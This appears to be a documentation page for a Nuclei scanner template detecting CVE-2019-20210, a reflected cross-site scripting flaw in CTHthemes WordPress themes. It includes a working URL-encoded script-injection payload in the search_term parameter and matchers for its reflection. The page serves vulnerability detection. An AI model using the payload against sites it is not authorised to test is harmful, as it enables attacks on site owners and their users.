WordPress CTHthemes - Cross-Site Scripting
ID: CVE-2019-20210
Severity: medium
Author: edoardottt
Tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes
Description
Section titled “Description”WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query.
YAML Source
Section titled “YAML Source”id: CVE-2019-20210
info: name: WordPress CTHthemes - Cross-Site Scripting author: edoardottt severity: medium description: | WordPress CTHthemes CityBook before 2.3.4, TownHub before 1.0.6, and EasyBook before 1.2.2 themes contain reflected cross-site scripting vulnerabilities via a search query. impact: | Successful exploitation of this vulnerability can lead to session hijacking, defacement of the website, theft of sensitive information, or the installation of malware on the victim's system. remediation: | Update to the latest version of the WordPress CTHthemes plugin, which includes a fix for this vulnerability. reference: - https://wpscan.com/vulnerability/10013 - https://wpvulndb.com/vulnerabilities/10018 - https://cxsecurity.com/issue/WLB-2019120112 - https://nvd.nist.gov/vuln/detail/CVE-2019-20210 - https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-20210 cwe-id: CWE-79 epss-score: 0.00938 epss-percentile: 0.83041 cpe: cpe:2.3:a:cththemes:citybook:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: cththemes product: citybook framework: wordpress tags: cve,cve2019,wp-theme,wpscan,wordpress,citybook,xss,cththemes
http: - method: GET path: - "{{BaseURL}}/?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search=&nearby=off&address_lat=&address_lng=&distance=10&lcats%5B%5D="
matchers-condition: and matchers: - type: word part: body words: - "</script><script>alert(document.domain)</script>" - "/wp-content/themes/citybook" condition: and
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a00473045022029c7ad1fa610f9d3315dfef679e1a9ee823e5c6d646a959527d6de402940f221022100e8625730e5977acdae510f11c417fe98988f5de1b0144acf7dd30fb4dcfe9243:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-20210.yaml"